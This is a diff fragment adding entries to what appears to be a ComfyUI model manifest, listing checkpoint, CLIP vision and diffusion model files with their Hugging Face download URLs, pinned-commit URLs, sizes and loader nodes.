+ "checkpoints/stable_audio_3_small_sfx.safetensors": {"folder":"checkpoints","file":"stable_audio_3_small_sfx.safetensors","url":"https://huggingface.co/Comfy-Org/stable-audio-3/resolve/main/checkpoints/stable_audio_3_small_sfx.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/stable-audio-3/resolve/75aad8836271cb5a5123fb58304fae5d3bb4b0f9/checkpoints/stable_audio_3_small_sfx.safetensors","sizeBytes":2270384940,"gated":false,"presence":"loader","loaders":[["CheckpointLoaderSimple","ckpt_name"]]},
+ "clip_vision/clip_vision_h.safetensors": {"folder":"clip_vision","file":"clip_vision_h.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/clip_vision/clip_vision_h.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/123acf1cc74bccbb9bfff8ac1ee72edc08c2341d/split_files/clip_vision/clip_vision_h.safetensors","sizeBytes":1264219396,"gated":false,"presence":"loader","loaders":[["CLIPVisionLoader","clip_name"]]},
+ "clip_vision/dino_v3_L_naf_fp32.safetensors": {"folder":"clip_vision","file":"dino_v3_L_naf_fp32.safetensors","url":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/clip_vision/dino_v3_L_naf_fp32.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/f37641be376725d324c56626007cc477f1249a69/clip_vision/dino_v3_L_naf_fp32.safetensors","sizeBytes":1215214176,"gated":false,"presence":"loader","loaders":[["CLIPVisionLoader","clip_name"]]},
+ "clip_vision/dino_v3_vit_h.safetensors": {"folder":"clip_vision","file":"dino_v3_vit_h.safetensors","url":"https://huggingface.co/VAST-AI/TripoSplat/resolve/main/clip_vision/dino_v3_vit_h.safetensors","pinnedUrl":"https://huggingface.co/VAST-AI/TripoSplat/resolve/56a96e603204ec410c4da60c13ea4fa09a2169a9/clip_vision/dino_v3_vit_h.safetensors","sizeBytes":1681247696,"gated":false,"presence":"loader","loaders":[["CLIPVisionLoader","clip_name"]]},
+ "clip_vision/sigclip_vision_patch14_384.safetensors": {"folder":"clip_vision","file":"sigclip_vision_patch14_384.safetensors","url":"https://huggingface.co/Comfy-Org/sigclip_vision_384/resolve/main/sigclip_vision_patch14_384.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/sigclip_vision_384/resolve/5421dab31229df19801c8e3af446b5a8bc71a3bc/sigclip_vision_patch14_384.safetensors","sizeBytes":856505640,"gated":false,"presence":"loader","loaders":[["CLIPVisionLoader","clip_name"]]},
+ "diffusion_models/MelBandRoformer_fp16.safetensors": {"folder":"diffusion_models","file":"MelBandRoformer_fp16.safetensors","url":"https://huggingface.co/Kijai/MelBandRoFormer_comfy/resolve/main/MelBandRoformer_fp16.safetensors","pinnedUrl":"https://huggingface.co/Kijai/MelBandRoFormer_comfy/resolve/7dc5fa7824f1f3089a5c4b130d767004ccc1ed12/MelBandRoformer_fp16.safetensors","sizeBytes":456479072,"gated":false,"presence":"loader","loaders":[["MelBandRoFormerModelLoader","model_name"]]},
+ "diffusion_models/Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors": {"folder":"diffusion_models","file":"Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/main/WanMove/Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/033a4e487f60220b3d6e469599a6aebc46e13cee/WanMove/Wan21-WanMove_fp8_scaled_e4m3fn_KJ.safetensors","sizeBytes":16402832658,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors": {"folder":"diffusion_models","file":"Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors","url":"https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/main/I2V/Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy_fp8_scaled/resolve/033a4e487f60220b3d6e469599a6aebc46e13cee/I2V/Wan2_1-I2V-14B-480p_fp8_e4m3fn_scaled_KJ.safetensors","sizeBytes":16643349018,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/Wan2_1-InfiniteTalk_Single_Q8.gguf": {"folder":"diffusion_models","file":"Wan2_1-InfiniteTalk_Single_Q8.gguf","url":"https://huggingface.co/Kijai/WanVideo_comfy_GGUF/resolve/main/InfiniteTalk/Wan2_1-InfiniteTalk_Single_Q8.gguf","pinnedUrl":"https://huggingface.co/Kijai/WanVideo_comfy_GGUF/resolve/8418a4ed00314a49f44b73a0d43d40aa539264da/InfiniteTalk/Wan2_1-InfiniteTalk_Single_Q8.gguf","sizeBytes":2646330016,"sha256":"c5e251c56174995d940494ec02fdf9d36da00dffdde6827829801cd171fe8ffd","gated":false,"presence":"loader","loaders":[["MultiTalkModelLoader","model"]]},
+ "diffusion_models/flux-2-klein-4b-fp8.safetensors": {"folder":"diffusion_models","file":"flux-2-klein-4b-fp8.safetensors","url":"https://huggingface.co/black-forest-labs/FLUX.2-klein-4b-fp8/resolve/main/flux-2-klein-4b-fp8.safetensors","pinnedUrl":"https://huggingface.co/black-forest-labs/FLUX.2-klein-4b-fp8/resolve/5b4408e59397a4a37ccb46afe426d8ed86379441/flux-2-klein-4b-fp8.safetensors","sizeBytes":4070624520,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux1-dev-kontext_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"flux1-dev-kontext_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/flux1-kontext-dev_ComfyUI/resolve/main/split_files/diffusion_models/flux1-dev-kontext_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux1-kontext-dev_ComfyUI/resolve/795e390e4a1200720e40af3780d5d8b96bc13ae3/split_files/diffusion_models/flux1-dev-kontext_fp8_scaled.safetensors","sizeBytes":11904640136,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux1-dev.safetensors": {"folder":"diffusion_models","file":"flux1-dev.safetensors","url":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/flux1-dev.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86/flux1-dev.safetensors","sizeBytes":23802932552,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux1-fill-dev.safetensors": {"folder":"diffusion_models","file":"flux1-fill-dev.safetensors","url":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/main/split_files/diffusion_models/flux1-fill-dev.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux1-dev/resolve/10cf201a3d49f7ff4de84d6a97d6a32cdfa8cb86/split_files/diffusion_models/flux1-fill-dev.safetensors","sizeBytes":23804922408,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux1-krea-dev_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"flux1-krea-dev_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/FLUX.1-Krea-dev_ComfyUI/resolve/main/split_files/diffusion_models/flux1-krea-dev_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/FLUX.1-Krea-dev_ComfyUI/resolve/d9d7c421e64d3a80b16a79c0fdc9989bfdaa6f01/split_files/diffusion_models/flux1-krea-dev_fp8_scaled.safetensors","sizeBytes":11904639672,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux1-schnell.safetensors": {"folder":"diffusion_models","file":"flux1-schnell.safetensors","url":"https://huggingface.co/Comfy-Org/flux1-schnell/resolve/main/flux1-schnell.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux1-schnell/resolve/d31e04067066d92c55ece2b01748dcc337725d7a/flux1-schnell.safetensors","sizeBytes":23782506688,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/flux2_dev_fp8mixed.safetensors": {"folder":"diffusion_models","file":"flux2_dev_fp8mixed.safetensors","url":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/main/split_files/diffusion_models/flux2_dev_fp8mixed.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/flux2-dev/resolve/9630c1b4b6e690497ae0c19bb6b1b35d4ebedcb7/split_files/diffusion_models/flux2_dev_fp8mixed.safetensors","sizeBytes":35455599592,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/hidream_i1_dev_fp8.safetensors": {"folder":"diffusion_models","file":"hidream_i1_dev_fp8.safetensors","url":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/main/split_files/diffusion_models/hidream_i1_dev_fp8.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HiDream-I1_ComfyUI/resolve/942970a008493fc9bf05b4827374009e69f6a993/split_files/diffusion_models/hidream_i1_dev_fp8.safetensors","sizeBytes":17105946040,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/hunyuanvideo1.5_720p_i2v_fp16.safetensors": {"folder":"diffusion_models","file":"hunyuanvideo1.5_720p_i2v_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/diffusion_models/hunyuanvideo1.5_720p_i2v_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/1405a2b738c29b890cf6d03fc038d8d3e92eeed7/split_files/diffusion_models/hunyuanvideo1.5_720p_i2v_fp16.safetensors","sizeBytes":16653368128,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/hunyuanvideo1.5_720p_t2v_fp16.safetensors": {"folder":"diffusion_models","file":"hunyuanvideo1.5_720p_t2v_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/main/split_files/diffusion_models/hunyuanvideo1.5_720p_t2v_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/HunyuanVideo_1.5_repackaged/resolve/1405a2b738c29b890cf6d03fc038d8d3e92eeed7/split_files/diffusion_models/hunyuanvideo1.5_720p_t2v_fp16.safetensors","sizeBytes":16653368128,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/krea2_turbo_int8_convrot.safetensors": {"folder":"diffusion_models","file":"krea2_turbo_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/Krea-2/resolve/main/diffusion_models/krea2_turbo_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Krea-2/resolve/1171f4dc7e325bf3734586942e737872506c73e1/diffusion_models/krea2_turbo_int8_convrot.safetensors","sizeBytes":13492686496,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors": {"folder":"diffusion_models","file":"ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors","url":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/diffusion_models/ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors","pinnedUrl":"https://huggingface.co/Lightricks/LTX-2.5/resolve/main/diffusion_models/ltx-2.5-22b-distilled-transformer-comfy-int8-convrot.safetensors","sizeBytes":21500000000,"gated":true,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors": {"folder":"diffusion_models","file":"minimax_h3_ref2va_pruned_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/MiniMax-H3/resolve/1c41cfca8ebba91d0af792a05c5761fb2c3a7975/diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","sizeBytes":20970379616,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/pixal3d_int8_convrot.safetensors": {"folder":"diffusion_models","file":"pixal3d_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/diffusion_models/pixal3d_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/f37641be376725d324c56626007cc477f1249a69/diffusion_models/pixal3d_int8_convrot.safetensors","sizeBytes":5584555824,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/pixal3d_multiview_int8_convrot.safetensors": {"folder":"diffusion_models","file":"pixal3d_multiview_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/main/diffusion_models/pixal3d_multiview_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Pixal3D/resolve/f37641be376725d324c56626007cc477f1249a69/diffusion_models/pixal3d_multiview_int8_convrot.safetensors","sizeBytes":5584555824,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors": {"folder":"diffusion_models","file":"qwen_image_2512_fp8_e4m3fn.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/1f12b17be14c89b026c51a91d67c32f84bb047bc/split_files/diffusion_models/qwen_image_2512_fp8_e4m3fn.safetensors","sizeBytes":20430679144,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors": {"folder":"diffusion_models","file":"qwen_image_edit_2509_fp8_e4m3fn.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/f68ace85e60b4a02a323e394253731947657b7d2/split_files/diffusion_models/qwen_image_edit_2509_fp8_e4m3fn.safetensors","sizeBytes":20430698424,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors": {"folder":"diffusion_models","file":"qwen_image_edit_2511_fp8mixed.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Edit_ComfyUI/resolve/f68ace85e60b4a02a323e394253731947657b7d2/split_files/diffusion_models/qwen_image_edit_2511_fp8mixed.safetensors","sizeBytes":20533762817,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/qwen_image_layered_control_bf16.safetensors": {"folder":"diffusion_models","file":"qwen_image_layered_control_bf16.safetensors","url":"https://huggingface.co/DiffSynth-Studio/Qwen-Image-Layered-Control/resolve/main/qwen_image_layered_control_bf16.safetensors","pinnedUrl":"https://huggingface.co/DiffSynth-Studio/Qwen-Image-Layered-Control/resolve/b42868fa977f681d1813188b9f9f5ee5184d6603/qwen_image_layered_control_bf16.safetensors","sizeBytes":40861043888,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/qwen_image_layered_fp8mixed.safetensors": {"folder":"diffusion_models","file":"qwen_image_layered_fp8mixed.safetensors","url":"https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/main/split_files/diffusion_models/qwen_image_layered_fp8mixed.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Qwen-Image-Layered_ComfyUI/resolve/02130716aaf54a36f84c9fcfa8a373ab06284e2b/split_files/diffusion_models/qwen_image_layered_fp8mixed.safetensors","sizeBytes":20533591821,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/seedvr2_3b_int8_convrot.safetensors": {"folder":"diffusion_models","file":"seedvr2_3b_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/diffusion_models/seedvr2_3b_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/df48879708206a403d2a61acd55578c2e80fd233/diffusion_models/seedvr2_3b_int8_convrot.safetensors","sizeBytes":3458259704,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/seedvr2_7b_int8_convrot.safetensors": {"folder":"diffusion_models","file":"seedvr2_7b_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/main/diffusion_models/seedvr2_7b_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/SeedVR2/resolve/df48879708206a403d2a61acd55578c2e80fd233/diffusion_models/seedvr2_7b_int8_convrot.safetensors","sizeBytes":8334897976,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/trellis_2_int8_convrot.safetensors": {"folder":"diffusion_models","file":"trellis_2_int8_convrot.safetensors","url":"https://huggingface.co/Comfy-Org/TRELLIS.2/resolve/main/diffusion_models/trellis_2_int8_convrot.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/TRELLIS.2/resolve/430a9d09b2416687018c8fe8edced2ad4858a439/diffusion_models/trellis_2_int8_convrot.safetensors","sizeBytes":5253048192,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/triposplat_fp16.safetensors": {"folder":"diffusion_models","file":"triposplat_fp16.safetensors","url":"https://huggingface.co/VAST-AI/TripoSplat/resolve/main/diffusion_models/triposplat_fp16.safetensors","pinnedUrl":"https://huggingface.co/VAST-AI/TripoSplat/resolve/56a96e603204ec410c4da60c13ea4fa09a2169a9/diffusion_models/triposplat_fp16.safetensors","sizeBytes":741106994,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/void_pass1.safetensors": {"folder":"diffusion_models","file":"void_pass1.safetensors","url":"https://huggingface.co/Comfy-Org/void-model/resolve/main/diffusion_models/void_pass1.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/void-model/resolve/f9c9e565920002478ab9477f4c99c29c52d16db3/diffusion_models/void_pass1.safetensors","sizeBytes":11143025952,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/void_pass2.safetensors": {"folder":"diffusion_models","file":"void_pass2.safetensors","url":"https://huggingface.co/Comfy-Org/void-model/resolve/main/diffusion_models/void_pass2.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/void-model/resolve/f9c9e565920002478ab9477f4c99c29c52d16db3/diffusion_models/void_pass2.safetensors","sizeBytes":11143025952,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.1-i2v-14b-480p-Q8_0.gguf": {"folder":"diffusion_models","file":"wan2.1-i2v-14b-480p-Q8_0.gguf","url":"https://huggingface.co/city96/Wan2.1-I2V-14B-480P-gguf/resolve/main/wan2.1-i2v-14b-480p-Q8_0.gguf","pinnedUrl":"https://huggingface.co/city96/Wan2.1-I2V-14B-480P-gguf/resolve/b4b6b3b3f0f64975fb33b1d5d1a46ca24e065f03/wan2.1-i2v-14b-480p-Q8_0.gguf","sizeBytes":18144640384,"sha256":"db961e33570a3a7902614ea52b6e77a33d284dfc85743a05e880a02da1164b45","gated":false,"presence":"loader","loaders":[["WanVideoModelLoader","model"]]},
+ "diffusion_models/wan2.1_vace_14B_fp16.safetensors": {"folder":"diffusion_models","file":"wan2.1_vace_14B_fp16.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/main/split_files/diffusion_models/wan2.1_vace_14B_fp16.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.1_ComfyUI_repackaged/resolve/123acf1cc74bccbb9bfff8ac1ee72edc08c2341d/split_files/diffusion_models/wan2.1_vace_14B_fp16.safetensors","sizeBytes":34675323640,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_bernini_r_high_noise_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_bernini_r_high_noise_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Bernini-R/resolve/main/diffusion_models/wan2.2_bernini_r_high_noise_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Bernini-R/resolve/f7fd9812e54095d0c511d5e7429e6d8f6acc381a/diffusion_models/wan2.2_bernini_r_high_noise_fp8_scaled.safetensors","sizeBytes":15574833216,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_bernini_r_low_noise_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_bernini_r_low_noise_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Bernini-R/resolve/main/diffusion_models/wan2.2_bernini_r_low_noise_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Bernini-R/resolve/f7fd9812e54095d0c511d5e7429e6d8f6acc381a/diffusion_models/wan2.2_bernini_r_low_noise_fp8_scaled.safetensors","sizeBytes":15574833216,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors","sizeBytes":15301408048,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors","sizeBytes":15301408048,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors","sizeBytes":14296064656,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors","sizeBytes":14296064656,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","sizeBytes":17346056104,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","sizeBytes":17346056104,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","sizeBytes":14294742832,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","sizeBytes":14294742832,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_s2v_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_s2v_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_s2v_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_s2v_14B_fp8_scaled.safetensors","sizeBytes":16394832474,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors","sizeBytes":14293923632,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
+ "diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors": {"folder":"diffusion_models","file":"wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors","url":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/main/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors","pinnedUrl":"https://huggingface.co/Comfy-Org/Wan_2.2_ComfyUI_Repackaged/resolve/ee6f4a40737a995bf5818954cfce6d59443b0f04/split_files/diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors","sizeBytes":14293923632,"gated":false,"presence":"loader","loaders":[["UNETLoader","unet_name"]]},
